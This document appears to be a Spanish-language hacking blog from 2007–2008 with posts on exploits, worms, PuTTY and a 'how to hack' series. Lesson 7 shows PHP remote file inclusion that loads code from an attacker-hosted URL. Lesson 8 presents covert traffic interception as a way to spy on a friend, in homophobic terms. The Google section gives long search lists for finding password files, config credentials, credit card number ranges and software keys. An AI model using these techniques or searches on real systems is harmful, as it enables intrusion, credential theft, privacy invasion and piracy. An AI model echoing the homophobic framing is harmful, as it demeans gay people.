Bienvenidos a TuxInfo “Número 6″. Como todos los meses comienzo agradeciendo a todos ustedes por leernos mes a mes, a los colaboradores ya que sin ellos no se podría tener tanto contenido y de tan buena calidad, a nuestro corrector, y por supuesto a nuestra diseñadora quien intenta poner orden a todo el material y plasmarlo en una revista gratuita de excelente calidad como lo es TuxInfo.
Ahora vayamos a explicar un poco lo que encontrarán en las páginas de esta edición, la nota de tapa está dirigida a la cobertura que realizamos en conjunto con mucha gente dispersa por el Flisol 2008 en toda Latino América, así es, contactamos a todos los organizadores del Flisol y gracias a eso es que podemos realizar un informe no solo local.
Este mes también teníamos en mente ingresar como nota de tapa una review de Ubuntu 8.04 Hardy Heron, pero creímos que el Flisol 2008 era merecedor de la sección, de cualquier manera no dejen de leer la nota dedicada a Ubuntu ya que la misma tiene la estructura de tapa.
Y como siempre encontrarán las secciones clásicas, como juegos, programación con su 5º edición del curso de C, una nota imperdible de Trac de la mano de nuestro nuevo colaborador Estevan Saavedra desde Bolivia, una nota de seguridad bajo squid, una review de Sabayon Linux, una primer entrega de Openoffice, y más.
Los agradecimientos de siempre no podían faltar.

Espero que les guste

Un saludo.

 

 

 

 





Bugs y exploits

17 05 2008

-  Bug?
 Bug  en  inglés  significa  bicho.  Para  comprender  la  procedencia  de  este  término,  debemos  remitirnos  a  los  albores  de  la  informática.  Los  primeros  ordenadores  funcionaban  con  relés,  lámparas  de  vacío,  transistores…  todos  ellos  gigantes.  Por  entonces,  uno  de  los  problemas  a  solucionar  era  la  presencia  de  insectos  que  se  metían  entre  los  relés  (bugs:  bichitos)  haciendo  contacto  y  llegaban  a  hacer  que  aquellos  primitivos  ordenadores  dejaran  de  funcionar  o  lo  hicieran  erroneamente.  Por  eso  ahora  cuando  un  programa  tiene  un  fallo  se  dice  que  tiene  un  bug.  A  los  que  solucionan  estos  fallos  se  les  llaman  debuggers.
 
 -  Exploit?
 Exploit,  significa  ”explotar”,  y  estaria  mejor  traducido  si  dijeramos  ”aprovechar”.
 Aprovechar  vulnerabilidades,  es  decir,  bugs.
 Los  exploits  suelen  ser  programas  que  aprovechan  determinadas  vulnerabilidades  para  de  esa  forma  obtener  privilegios  determinados,  o  cumplir  un  objetivo.
 Los  exploits  0day  (del  dia  cero),  son  exploits  que  fueron  creados  generalmente  el  mismo  dia  en  que  se  descubre  una  vulnerabilidad,  y  estos  exploits,  no  son  publicos,  solo  tienen  acceso  a  ese  personas  allegadas  al  desarrollador  [coder,  programador]  del  mismo.
 Son  logicamente  los  mas  efectivos,  porque  aprovechan  vulnerabilidades  que  aun  o  no  se  hicieron  publicas,  o  no  tienen  solucion  temporalmente.
 
 -  Y  como  me  cuido  de  los  exploits?
 La  base  esta  en  tener  un  sistema  lo  mas  seguro  posible,  libre  de  vulnerabilidades,  eso  es  sencillamente  imposible,  por  eso  se  habla  de  ”lo  mas  seguro  posible”.
 Se  recomienda  actualizar  constantemente  el  sistema  operativo  y  los  servicios  que  en  él  se  ejecutan,  suscribirse  a  boletines  de  seguridad  y  vulnerabilidades  para  estar  al  tanto  de  lo  que  sucede  en  el  ambito  de  la  seguridad.  [BugTraq  @  Securityfocus].
 
 -  Soy  mal0r,  donde  busco  y  uso  exploits?
 Hay  varios  sitios  donde  podes  encontrar  este  tipo  de  informacion,  es  cuestion  de  buscar,  y  estar  informado.
 Vale  recordar  y  hacer  tambien,  que  personas  que  utilizan  exploits  a  mansalva  y  sin  saber  de  como  funcionan,  son  individuos  llamados  como  ”Script  Kiddies”,  es  decir,  que  utilizan  scripts  para  obtener  algun  beneficio,  pero  sin  saber  lo  que  estan  realmente  haciendo,  y  esta  practica  no  esta  bien  vista,  ya  que  implica  un  uso  de  informacion  y  un  no-aporte  de  algo  nuevo,  y  como  dijimos  en  otras  secciones,  el  egoismo  no  es  para  nada  bien  visto  en  la  comunidad  under.





Evolucion como hackear EN VIDEOS

12 05 2008

Bueno gente y otras cosas hoy estoy aquí para poner basicamente todas mis entradas de como hackear en videos , de manera que es lo explicaran . He comprovado cada uno de los links de los videos ya que por lo que los conseguí de un lugar un poco antiguo , me refiero antiguo a la imformatica por que ya sabéis que cada dos años más o menos sacan muchas nuevas tecnicas y programas capaces de hacernos felices dia tras dia ^_^.

Bueno estos son los links de los videos:

Abertura del Curso de HackerAnonimato en Internet

Registro de Windows(I)

Registro de Windows (II)

Remote Access Server (RAS) (I)

Remote Access Server (RAS) (II)

Remailers Anónimos

Network Address Translation (NAT)

 

 

 





Moderadores

17 01 2008

Bien, como ya dije aquí es donde tendreis que postear atraves de comentarios que quereis moderar esta web y importantissimo dejarme el correo para que pueda contactar con vosotros .                     suerte!





Hermandad Hacker

13 11 2007
Anuncios anuncios pisos madrid contactar contactos

Aqui o que pretendo es que todos nos presentemos un poco por si vamos a estar por aqui conocernos mejor. Empiezo yo

Hola me llamo Adrian vivo en un pequeño pueblo de la comunidad valenciana,aunque hace muy poco que vivo, yo soy catalan y claro esta vivia en Cataluña.

Tengo 15 años y no creo que deban creer que es web no vale nada solo por la edad porque la mayoria se equivocarian. Bueno llebo estudiando el tema este de hackear desde los 11 mas o menos cuando el hermano de un amigo mio en esos entonces se habia aficionado al tema esta os parecera gracioso pero ahora el hermano de ese chico es el creador de allaboutnaruto se podria decir que le conozco . Bueno al grano mi amigo se aficiono tambien y me mostro ese mundo..para el fue una moda pasajera ya que a los dos dias lo dejo pero yo poco a poco fui aprendiendo empece aprendiendo cosas basicas…programacion basica , algo de HTML pero con 11 años los temarios se te hacen muy escasos , pero bueno te haces mas mayor y vas entendiendo mejor las cosas y puedes seguir aprendiendo y una vez crees saber lo suficiente decides hacer una web para compartirlo con los demas.

Bueno esta es mi historia espero la vuestra .

Gracias

Cordialmente Nabster





Acerca del gusano Zafi.B

5 11 2007
Anuncios anuncios pisos madrid contactar contactos

Zafi.B es un gusano residente en memoria, reportado el 11 de Junio del 2004, de propagación masiva a través de mensajes de correo en uno de varios formatos definidos, con archivos anexados de nombres aleatorios, con mas de una extensión, siendo la última PIF.

También se difunde vía las redes P2P que se encuentren instaladas.

El remitente y parte del contenido o nombre del archivo anexado, en forma aleatoria contienen el nombre de la dirección capturada en los sistemas infectados.

Sobrescribe con su código viral los archivos con extensión .EXE de las carpetas de la unidad C:

Es un PE (Portable Ejecutable) e infecta Windows 95/98/NT/Me/2000/XP, incluyendo los servidores NT/2000/Server 2003, está desarrollado en Visual C++, con una extensión de 12.5 KB y comprimido con la utilidad UPX (Ultimate Packer for eXecutables).

Sus payloads son los siguientes:

Se propaga en mensajes de correo en uno de varios formatos definidos, con archivos anexados de nombres aleatorios, con mas de una extensión, siendo la última PIF.
Extrae los buzones de correo de archivos de determinadas extensiones, omitiendo ciertas cadenas de texto.
Emplea la técnica Spoofing en el Remitente, Contenido o archivo Anexado.
Infecta a través de la red Peer to Peer que se encuentren instaladas en el sistema infectado.
Sobrescribe con su código viral archivos con extensión .EXE de carpetas en la unidad C:
Se conecta en forma aleatoria a cualquier enlace visitado anteriormente por el usuario.
Termina la ejecución de determinados importantes procesos.





Virus Gusano

5 11 2007
Anuncios anuncios pisos madrid contactar contactos

Vamos a referirnos a la familia de gusanos Korgo. Algunas características de las numerosas variantes aparecidas hasta la fecha hacen pensar que su autor está experimentando hasta conseguir nuevos ejemplares que, en un momento dado, pueden sorprender a los usuarios y provocar una gran epidemia.

En un principio, Korgo.A fue considerado como una réplica más del famoso gusano Sasser. Al igual que éste, los gusanos Korgo aprovechan la vulnerabilidad LSASS para propagarse rápidamente a través de Internet e infectar los equipos. Sin embargo, a diferencia de Sasser, los ejemplares de Korgo tratan de pasar desapercibidos ya que, por ejemplo, evitan que los equipos a los que afectan se reinicien continuamente. Además de ello, y según la variante de la que se trate, los gusanos Korgo borran algún que otro archivo, abren puertos de comunicaciones, y tratan de conectarse a distintos servidores de IRC.

Otro dato a destacar es que algunos de los gusanos Korgo utilizan mutex, técnica que permite controlar el acceso a recursos del sistema y evitar que más de un proceso utilice el mismo recurso al mismo tiempo. Uno de los mutex que crean estos códigos maliciosos lleva por nombre utermXX (siendo XX un número) y -por lo que parece- están siendo numerados de manera secuencial.

Así, mientras que Korgo.C usa el mutex uterm 7, Korgo.J emplea uterm12.

Por otra parte, los gusanos Korgo modifican el registro de Windows, de forma que cada nueva variante deshace los cambios introducidos por sus predecesoras e introduce otros nuevos. De esta manera, puede conocerse la secuencia en la que los gusanos están siendo creados. Por ejemplo, Korgo.D borra las entradas creadas por Korgo.F. Con ello puede deducirse que Korgo.D ha sido creado en fecha más reciente.

El objetivo que persigue el autor de estos códigos maliciosos sigue siendo una incógnita. Según Luis Corrons, director de PandaLabs: “Desde luego, el creador de los gusanos Korgo está trabajando demasiado como para pensar que se trata de un mero divertimento. Por otra parte”, añade, “tampoco responde a la estrategia típica de poner muchos virus similares en circulación para infectar el mayor número de equipos posible, ya que se preocupa de que su última creación anule las anteriores”.

Todo parece indicar que este escritor de virus está poniendo a punto algún código malicioso especialmente dañino que pueda sorprender a los usuarios. Sin embargo, sería una epidemia “silenciosa”, ya que una de las características de los gusanos Korgo es que llevan a cabo sus acciones de forma oculta para el usuario.

Un dato que puede parecer contradictorio, frente a tanto alarde técnico, es el hecho de que los gusanos Korgo emplean la vulnerabilidad LSASS de Windows, condenada a morir a medida que los usuarios instalan los parches necesarios para corregirla. Sin embargo, en opinión de Luis Corrons, “esto no supone mayor problema. En cualquier momento, el autor de los gusanos Korgo podría aprovechar otra vulnerabilidad que se descubra. Por ello, conviene no perder de vista a las nuevas variantes que, sin duda, van a seguir apareciendo. Lo mejor que podría ocurrir es que se localizase y detuviese cuanto antes al creador de estos códigos maliciosos”, concluye.





Como hackear 8 (tecnicas poco habituales)

5 11 2007


Vereis, os presento la octava aportacion con algo k crei muy importante, en el hacking uno tiene a menudo muy claro ciertos conecptos i a veces se encuentra ante un problema k puede parecer insuperable, i no lo seria si el hacker conociese todas las tecnicas existentes, es importante conocer tecnicas minoritarias…

aki vamos a dar una vista rapida a las siguientes tecnicas poco conocidas por norma general:

man in the midle

sniffing

1. man in the midle

este tipo de atakes engloba cualkier atake en el cual el resultado sea k el atacante kede situado en medio de una comunicacion entre un cliente i un servidor, podriamos poner como ejemplo…vamos a casa de un amigo del cual sospechamos k es homosexual i sabemos k posiblemente visita paginas con contenido obsceno de hombres con otros hombres, ante tal aberracion t asustas i k haces? como puedes saberlo? tu amigo se va un momento i descubres k no se guarda el historial por k ha sido desactivado i k tmp se acepta ninguna cookie i k las ultimas url tipeadas tmb se borran automaticamente, no hay ni rastro, estaras toda la vida pensando k a lo mejor tu amigo es gay? no!

ahora imaginaos k antes de salir de casa haveis situado algun tipo de servidor en vuestro pc k recive coneixones http i las redirecciona, el resultado es k en el momento k nuestro amigo gay se va, i nos deja solos, abrimos su navegador i en las opciones (sea el navegador k sea) situamos como proxy la ip de nuestro pc, el k tenemos en casa k esta a la espera de conexiones, le damos a aceptar i cuando nuestro amigo vuelve hacemos como k no sabemos nada.

el resultado es k todas las webs k visite pasaran antes por ti, tu las visitaras i se las reenviaras a el, todo automaticamente i registrandose…gracias a dios un dia tu amigo empieza a ver webs como www.petardas.com i nunca entra a la seccion gay, asi k descubres k en realidad es homosexual, lo peor es k eso kiere decir k tus sospechas de k se lo montaba con tu novia son ciertas xD

en fin, fuera de rodeos, esto es basicamente un man in the midle, el programa utilizado podria ser el achilles para windows (k gente lammer creen k solo sirven de forma local, i no saben k pone el 5000 a la espera de conexiones por defecto)

existen otros man in the middle, muy variados, pero este seria el basico.

2. sniffing

en las redes ethernet k no utilizan un switch para interconectar los terminales, (el switch es inteligente i evita esto) se puede sniffear datos…pero k es sniffear? vereis, segun lei en algun manual de carolin meinel hace 2 años o por ahi, decia:

sniffiers: en ingles, del termino sniff, sorber

pero a mi k me importa lo k snigifike sniff i encima en ingles? por favor, io kiero aprender hacking i ademas lo kiero en castellano (o español, como mas les guste)

bueno no me enrrollo mas, vereis en las redes ethernet, el sistema de direccionado de paketes (es decir, el sistema k se usa para enviar i recivir paketes a kien deben ser enviados i no a otro) no se basa en ip’s, en principio puede parecer k si, pero no es asi, se basa en direciones mac, k son como unas ip’s internas de las tarjetas de red, cuando un usuario tipea la ip de otro en la red ethernet, en realidad el protocolo arp encargado de las mac informa a ese usuario de cual es la mac con la k debe establecer la comunicacion, es decir la mac asignada a esa ip.

pero lo k ocurre es k las tarjetas de red tienen un modo especial, llamado modo promiscuo…i funciona asi, cuando un usuario tipea la ip de otro en la red ethernet, i el protocolo arp le kiere decir la mac asignada a dicha ip, para poder conectar, el protocolo arp necesita un mecanismo para saber dicha mac, i lo k hace es preguntarla i dice en la red:

kien es 192.168.0.6?

i el dueño contesta:

soi io i mi direccion mac es: xxxxxxxxx

i arp se la da al otro usuario i este envia la informacion

ahora bien, poner una tajeta en modo promiscuo significa hacer k cada k alguien pregunte, tu tarjeta conteste, pregunten por kien pregunten, asi cuando pregunten:

kien es x.x.x.x

contestara su legitimo dueño:

soi io i mi direccion mac es: xxxxxxxx

i contestara tu tarjeta de red:

soi io i mi direccion mac es: xxxxxxx

asi k cuando el usuario envie los datos, le llegaran a su legitimo dueño en la red i tmb t llegaran a ti xD

esto nos lleva a pensar k podemos robar contraseña o espiar conversaciones de msn etc…

pero, como detectar si hay alguien en modo promiscuo k nos puede estar espiando?

muy facil, hay scripts para ello en linux promisc_check o algo asi, pero vaia, k hay muchisimos, lo k hacen estos scripts maravillosos i tan magicos es simplemente preguntar por una ip inexistente en la red:

kien es 200.200.200.200?

i claro, no hay nadie, pero tu tarjeta de red k esta en promiscuo contesta:

soi io i mi direccion mac es: xxxxxxxx

t han pillao bacalao!!!!!!!!

aunke mas facil…k ocurriria si hiciecemos:

ping ipinexistente-en-la-red

respuesta desde xDDDDDDDDDDDDDDDDDDDDD

vaia, parece k hay un mentiroso xD

bueno, el man in the middle no es nada comune, pero el sniffing si k es comun i muy util, podemos rootear un servidor, dejar un daemon corriendo k sniffee i loguee todo el rato i ir entrando a ver los logs, asi sacaremos muchisima informacion i podremos incluso a hackear mas pc’s dentro de una misma lan, habiendo conseguido uno.

saludos.

p.d. se k esta entrega el nivel ha subido mucho, pero es k ia estoi empezando a planificar poner esto mas serio i doi por echo k estais leyendo por internet, he dejado mucho tiempo entre el 6 i el 7 para k aprendais, asi k nos vamos a ir poniendo serio, i es importante k lo practikeis dentro de lo posible o buskeis mas documentacion i leais, esto solo es una guia fde como ir estudiando hacking i una pekeña introduccion al mismo, prometo k si lo seguis i lo haceis en serio, llegareis a hacer vuestros pinitios.





Como hackear 7 (php file inclusion)

5 11 2007
Anuncios anuncios pisos madrid contactar contactos

saludos aki tenemos la septima aportacion…

ha pasado mucho tiempo desde la sexta (6), problemas personales, estudios, etc

pero lo prometido es deuda, i aki teneis el articulo sobre php file inclusion…

php es un lenguage de programacion web k permite no solo visualizar datos, realizar calculos etc, como los lenguages web clasicos, sino k permite tmb ejecutar comandos en el servidor (comandos shell), modificar archivos, etc …

detalles previos:

1. un servidor para poder servir paginas php debe tener el php instalado i el servidor web configurado para trabajar con el

2. php es un lenguage parecido a c, por lo cual, las consecuencias de en una situacion especial, poder llegar a introducir un archivo php en el contexto del servidor es comparable con poder compilar i ejecutar cualkier codigo en c en el contexto del servidor (esto tecnicamnte no es asi, pero lo asumiremos para k os hagais a la idea)

3. lo k trataremos aki se refiere a sistemas unix, aunke php no tiene ningun problema de incomptabilidades con windows, podria aplicarse a windows con las consecuentes adaptaciones, pero el 99% de servers son unix o derviados (vease linux) asi k trataremos este ultimo.

4. en los sistemas unix/linux (los tratados aki) el php es habitual i en el 99% de los casos se cumple, k el php tenga permisos de nobody, pero en ocasiones tiene permisos del usuario web (el k la cuelga etc..), en la practica nos da igual los permisos k tenga php.

5. php tiene una opcion llamada safemode, si esa opcion se encuentra activada (por defecto: no) el servidor no sera vulnerable.

empezemos…el php tiene una funcion llamada include la cual sirve para pasarle la ejecucion a otro script php, de forma k si tenemos un archivo php llamado a.php i otro llamado b.php podriamos hacer un include en a.php k apunte a b.php i cuando un usuario hiciese:

www.example.com/a.php veria b.php, ia k ha sido incluido.

bien, esto nos lleva a pensar en esas paginas k todos hemos visto alguna vez:

www.example.com/index.php?seccion=descargas

bien, lo k ocurre aki es k index.php recive a traves de la url la variable seccion, luego si la pagina es vulnerable (ahora entendereis por k) index.php cojera descargas i le añadira al final .php i lo incluira, haciendo asi el include a:

descargas.php

k ocurrira si nos creamos un hosting en almacenweb.com o algun otro servicio de hostings gratuitos i subimos un archivo llamado: hack.php i luego vamos a la pagina vulnerable i hacemos:

www.example.com/index.php?seccion=http://www.paginahacker.com/hack

cojera, le añadira a la variable seccion al final un .php i hara un include, incluyendo asi:

http://www.paginahacker.com/hack.php

bien, esto nos lleva a pensar k podemos ejecutar cualkier archivo php en el servidor, i es cierto, este agujero es critico.

existen comandos php para modifcar archivos (siempre k tengamos permisos) ejecutar comandos etc…

nota: muchos lammers creidos, niñatos i gente abusrda i molesta solo conocen esta tecnica i se dedican a decir k son hackers, espero k nadie aprenda esto i solo por poder hackear servidor asi, se kede estancado.





Tutorial sobre putty

3 11 2007
Anuncios anuncios pisos madrid contactar contactos

Iniciar programa
Al iniciar el programa se muestra una pantalla

Inicio putty

Podemos apreciar que nos indica el nombre del host(Host Name), puerto (Port), protocolo y sesiones almacenadas (Saved sessions).

Creando sesión
Ahora se debe crear la sesion ingresando el nombre del host, el protocolo y un nombre para guardar esa configuración. Para nuestro caso el nombre del host corresponde a micolegio.ubiobio.cl, donde micolegio es el nombre que se les dio a su host. Luego se debe seleccionar el protocolo SSH y finalmente un nombre para guardar la información de la sesión

creando sesión en putty
Ingresando al host
Para ingresar al host debemos abrir la sesión presionando en Open, la primera vez nos preguntara para almacenar la llave de encriptación, a lo cual le responderemos afirmativamente. Las proximas veces ya no nos hara esta pregunta.

guardando llave de encriptación
Iniciar sesión
Finalmente debemos ingresar nuestro login y password, con lo que hemos iniciado la sesión.

Uso de winscp
Inicio programa
Al iniciar el programa se muestra la siguiente pantalla

Inicio winscp
Ingresar sesion
Ahora debemos ingresar la informacion del host, login y password

Si ya ingresamos la información en el putty, podemos importar dichos datos para el uso en winscp, pulsando import, lo que nos muestra todas las sesiones almacenadas en putty. Para importarlas presionamos ok

importando sesión de putty

Ingresando al host
Ahora debemos seleccionar algun host e ingresar nuestro login y password, para despues presionar login

La primera vez que ingresemos nos preguntará para almacenar la llave de encriptación, a lo cual le responderemos afirmativamente. Las proximas veces ya no nos hara esta pregunta.

guardando llave de encriptación

Iniciando sesión
Una vez dentro su uso es muy semejante a otros clientes de FTP para hasefroch, en la ventana izquierda tenemos el equipo local, y en la derecha el equipo remoto.

Transferencia de archivos Para la transferencia seleccionamos los archivos como se hace normalmente en el explorer y los arrastramos a la ventana donde queremos enviar los archivos.





Hackear con google

3 11 2007
Anuncios anuncios pisos madrid contactar contactos

¿Es posible usar Google como herramienta de hacking? La idea se me ocurrió cuando un día examinando los logs de un sitio atacado descubrí en el análisis forense una URL referida desde Google, con un parámetro de búsqueda muy concreto. De esto hace bastantes años. Pero, al poco, volví a descubrir el mismo parámetro examinando los logs de otro sitio web. Una investigación posterior me llevó hasta varios grupos brasileños. Poco después, conseguía acceder a los foros privados de estos grupos, gracias a la intervención de un amigo introducido en este underground. Y entonces comprendí el por qué de esas huellas. En una de las múltiples “scenes” internacionales, grupos de hackers brasileños, competían entre sí por ver quién era capaz de desfigurar más sitios web en un solo mes, para luego vanagloriarse de sus logros en Zone-h.org. El procedimiento era siempre el mismo. Usaban operadores booleanos de búsqueda en Google de ciertas debilidades de protocolos o programas, y una vez localizados, usaban una serie de exploits compilados para conseguir privilegios suficientes como para modificar la página de inicio. Al contrario de lo que mucha gente pueda imaginar, aquellos hackers no atacaban sitios concretos. No perdían el tiempo porque Google era su herramienta de búsqueda para encontrar los sitios más débiles. Ese era el truco. Ese era su juego. Desde entonces me interesé por Google como herramienta de hacking.

Mientras esperamos el libro con trucos de Google que Anaya publicará en breve, voy a desgranar cómo el buscador se puede usar para buscar ficheros comprometedores.

Nadie parece leerse el documento de referencia sobre la API de Google. Pero el documento es magnífico para entender el funcionamiento avanzado sobre búsquedas. Por ejemplo, si yo quiero localizar un término que haga referencia a la palabra “password” en un sitio web, me basta con usar la siguiente sintaxis de búsqueda:

password site: www.victima.com

Intitle, por ejemplo, sirve para localizar términos en la búsqueda del título de una web. Sabiendo que un sitio web se indexa por el contenido de a dónde apunta esa URL, y que ésta se clasifica como “title” las mentes despiertas entreverán algunas de sus posibilidades. Si a esto añadimos que Google usa el término “index of” para delimitar el sitio índice de la palabra buscada, podemos someter esto mismo a combinaciones.

intitle:”Index of c:Windows”

¿Falta decir qué está buscando exactamente? Sobran los comentarios, pero cabe imaginar las posibilidades que puede tener Google.

Por experiencia personal he podido comprobar que mediante operadores booleanos y cierta sintaxis de búsqueda, se pueden encontrar carpetas de administración, gestores de bases de datos sin contraseña, directorios con copias de seguridad, ficheros de contraseñas, directorios a la vista del sistema operativo, mensajes de error que descubren información sobre el sistema, volcados de bases de datos, informes Excel, estadísticas, archivos abiertos de configuración de una web, ficheros de inicialización, históricos de MySQL, listas de contraseñas en formato texto, claves privadas PGP (no públicas), históricos bash, versiones antiguas de Apache buscando en su documentación online, y hasta versiones antiguas de Internet Information Server 4 con solo buscar por su mensaje de bienvenida (intitle:”Welcome to IIS 4.0″).

Cuando se descubre un fichero de contraseñas cifrado en Apache, basta aplicarle un programa como John the Ripper, para conocer el contenido.

Las posibilidades de Google son infinitas. Pero si uno piensa que esas búsquedas se limitan a sitios web o ficheros de Office descuidados, es que es un incauto.

Pongamos por caso otro ejemplo. Algunos clientes de correo generan un fichero llamado “dead.letter” cuando un usuario que estaba escribiendo un mensaje decide cancelarlo. Eso quiere decir que una búsqueda de este fichero nos proporcionaría el contenido de un documento a medio escribir. Probémoslo:

intitle:index.of dead.letter

Interesante, ¿no es cierto?

Para la realización de unas cuantas prácticas, he desarrollado un formulario desplegable que realiza algunas búsquedas por los términos de la lista. Está disponible en esta dirección: http://www.seguridad0.com/ejemplos/googlescan/

Actualmente dispongo de unos 300 términos de búsqueda con operadores booleanos y términos especiales de Google para búsquedas avanzadas. Dejo al lector que ensaye y encuentre los suyos. Estaré encantado de compartirlos con aquellos que me comuniquen los suyos.

Cómo defenderse

El problema de la indexación de Google no es del motor de búsqueda sino del negligente administrador del sitio conectado a Internet. Google no es una herramienta de hacking como tal, sino un potente sistema de localización; lo que traducido en otras palabras quiere decir que no debemos permitir a Google que indexe según qué páginas web o directorios.

El procedimiento para desconectar de Google es sencillo. Se basa en pasarle las órdenes oportunas en un fichero llamado “robots.txt” que dejaremos en el directorio raíz. Este fichero en texto plano indican a los buscadores, robots o crawlers, como les quieras llamar, qué partes de tu sitio web son indexables.

Un método sencillo para que Google no indexe ninguna de tus páginas es colocar las siguientes líneas en el fichero “robots.txt”

User-Agent: *
Disallow:/

Aunque para ser más preciso también se podría indicar que no indexara determinados directorios. Véase este ejemplo:

User-Agent: *
Disallow: /admin/

En este caso se está impidiendo la indexación del directorio “admin”. Y así se podría repetir la línea para todos los directorios que deberían ocultarse del buscador.

Otra posibilidad consiste en hacer uso de las etiquetas meta de la cabecera de cualquier fichero index.htm

Una línea como la siguiente:

permite la exclusion de la indexación, pero página por página; es decir que entre <head< hay que colocar el código.

Se puede evitar incluso que Google cite el sitio:

O que Google introduzca en su caché las páginas encontradas:

Esto ultimo que parece absurdo no lo es tal, si tenemos en cuenta que Google se salta accesos que requieren de login y password, gracias a su caché; porque, curiosamente, la caché de una página web guardada en Google, en ocasiones, no requiere de usuario y contraseña. Una forma fácil y limpia de saltarse barreras.

¿Eso es todo?

Con Google se puede hacer mucho más. Por ejemplo, hay un truco muy sencillo que permite usar a Google como proxy, de modo que cuando se visita un sitio web la IP reflejada en sus estadísticas nunca será la nuestra sino la del propio Google.

Las páginas similares se saltan cualquier autorización, se puede realizar búsquedas de ficheros en fechas concretas, localizar directorios CGI abiertos, servidores de correo con el relay abierto para realizar spam, números de DNI o la Seguridad Social… y un largo etcétera.

Para no extenderme demasiado diré que, en breve, anunciaré una ponencia de “Hacking con Google” en una universidad de Barcelona, a la que cualquiera podrá asistir gratuitamente; por si hay alguien que quiera saber más. La conferencia consta de una presentación Powerpoint de 150 diapositivas, plagadas de ejemplos visuales. Si alguna universidad de fuera de la Ciudad Condal está interesado en este seminario, estaré encantado de impartirlo.

Como se ha podido apreciar las posibilidades de Google son desconcertantes. Su algoritmo de búsqueda es el más apreciado por la comunidad internauta. ¡Por algo será! Pero esa misma razón es la que nos debe llevar a tomar las máximas precauciones si no queremos ver información privilegiada de nuestra empresa en manos indeseadas.

usando Gooogle podremos encontrar cosas muy interesantes q nos divertiran o
someteran una pagina a permitir una intrusion.

Podemos encontrar

Numeros de tarjetas de credito:
Contrase?as
Programas / MP3’s
ETC…Luego de ver estos ejemplos intenten crear sus propias busquedas para
obtener especificamente lo que buscan.

Pruben estas busquedas:

intitle:”Index of” passwords modified
allinurl:auth_user_file.txt
“access denied for user” “using password”
“A syntax error has occurred” filetype:ihtml
allinurl: admin mdb
“ORA-00921: unexpected end of SQL command”
inurl:passlist.txt
“Index of /backup”
“Chatologica MetaSearch” “stack tracking:”

Se imaginaran q son estos Grin:

Amex Numbers: 300000000000000..399999999999999
MC Numbers: 5178000000000000..5178999999999999
visa 4356000000000000..4356999999999999

Directorios y contrase?as al descubierto:

“parent directory “
/appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

“parent directory “
DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

“parent directory “Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

“parent directory “
Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

“parent directory ” MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

“parent directory ” Name of Singer or
album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

En estas busquedas solo estoy cambiando el nombre luego de “parent directory
” ,cambienlo por lo que quieran y obtendran distintos resultados.

Intenten con estas busquedas:

?intitle:index.of? mp3

Solo hay q poner le nombre del cantante o cancion

Ejemplo: ?intitle:index.of? mp3 Metallica

inurl:microsoft filetype:iso

Pueden cambiar la busqueda a lo que quieran, ejemplo: Microsoft a Linux ,
iso a rar ….

“# -FrontPage-” inurl:service.pwd
Contrase?as de Frontpage Cheesy

“AutoCreate=TRUE password=*”
Contrase?as de “Website Access Analyzer”, un programa japones q crea
stadisticas web.

“http://*:*@www” dominio

Contrase?as, solo substituye “dominio” por el dominio q busques sin el .com
.net o lo q sea.

Ejemplo:
“http://*:*@www” micronosoft or “http://*:*@www”micronosoft

Otro modo es escribiendo:
“http://bob:bob@www/”;

“sets mode: +k”
Esta busqueda muestra contrase?as de los canales de IRC en los logs.

allinurl: admin mdb
Bases de datos Grin

allinurl:auth_user_file.txt
Archivo de contrase?as de DCForum’s y DCShop(carrito de compras). Este
archivo contiene muchas contrase?as crackeables, nombres de usuarios y
emails.

intitle:”Index of” config.php
Estos archivos nomarlmente contienen el usuarios,dir y contrase?a de las
bases de datos.Tendras administracion total de la DB.

eggdrop filetype:user user
Nombres de usuario y contrase?as en canales de IRC.

intitle:index.of.etc
Esta busqueda te mostrara la pagina principal de la carpeta etc/ donde se
pueden encontrar muchos archivos importantes y contrase?as, no siempre se
encontraran contrase?as pero puedes encontrar muchas cosas interesantes aca.

filetype:bak inurl:”htaccess|passwd|shadow|htusers”
Esto mostrara muchos archivos de backups(respaldos) creados por programas o
por el administrador.

Si necesitas buscar algun numero serial para algun programa,digamos windows
XP profesional.

“Windows XP Professional” 94FBR

El 94FBR es devido a q este pedaso de codigo se encuentra en muchos de los
CD-keys de windows, asi q esto disminuira la cantidad de paginas pornos q
intentan enga?arte.

?Para qu? tomarse la molestia de arremeter contra un sitio web en busca de
vulnerabilidades que hayan pasado inadvertidas cuando se puede entrar con
toda comodidad por la puerta delantera?

Estas intrusiones se pueden realizar gracias a que existen bases de datos
con conexi?n a Internet. Como las herramientas de gesti?n de bases de datos
utilizan plantillas (templates) estandarizadas para presentar los datos en
la Red, al ingresar ciertas frases espec?ficas el usuario muchas veces puede
acceder directamente a las p?ginas que utilizan esas plantillas. Por
ejemplo, al ingresar la frase “Select a database to view” (seleccionar una
base de datos para ver) -una fase habitual en la interfaz de base de datos
FileMaker Pro- en el Google, se obtuvieron alrededor de 200 links, de los
cuales casi todos conduc?an a bases de datos creadas con FileMaker a las que
se puede acceder online.

Por ejemplo si usas lo siguiente:
1 – http://www.google.com/
2 – Buscar
“Index of /admin” + passwd
o
“Index of /wwwboard” + passwd
o
“Index of /backup” + mdb
Veras grandes resultados.!

Si escribes lo que aparece abajo en el buscador de google podras acceder a
base de datos, contrase?as, webs con bugs, hasta a numeros de tarjeta de
credito. Practica un poco y prueba los distintos comandos, luego crea tus
propias lineas para buscar. Un buen sitio de informaci?n de como hackear con
google es http://johnny.ihackstuff.com/ est? en ingl?s, pero no llegar?s a
nada si no visitas p?ginas como esta

filetype:htpasswd htpasswd
intitle:”Index of” “.htpasswd” -intitle:”dist” -apache -htpasswd.c
index.of.private (algo privado)
intitle:index.of master.passwd
inurl:passlist.txt (para encontrar listas de passwords)
intitle:”Index of..etc” passwd
intitle:admin intitle:login
“Incorrect syntax near” (SQL script error)
intitle:”the page cannot be found” inetmgr (debilidad en IIS4)
intitle:index.of ws_ftp.ini
“Supplied arguments is not a valid PostgreSQL result” (possible debilidad
SQL)
_vti_pvt password intitle:index.of (Frontpage)
inurl:backup intitle:index.of inurl:admin
“Index of /backup”
index.of.password
index.of.winnt

inurl:”auth_user_file.txt”
“Index of /admin”
“Index of /password”
“Index of /mail”
“Index of /” +passwd
Index of /” +.htaccess
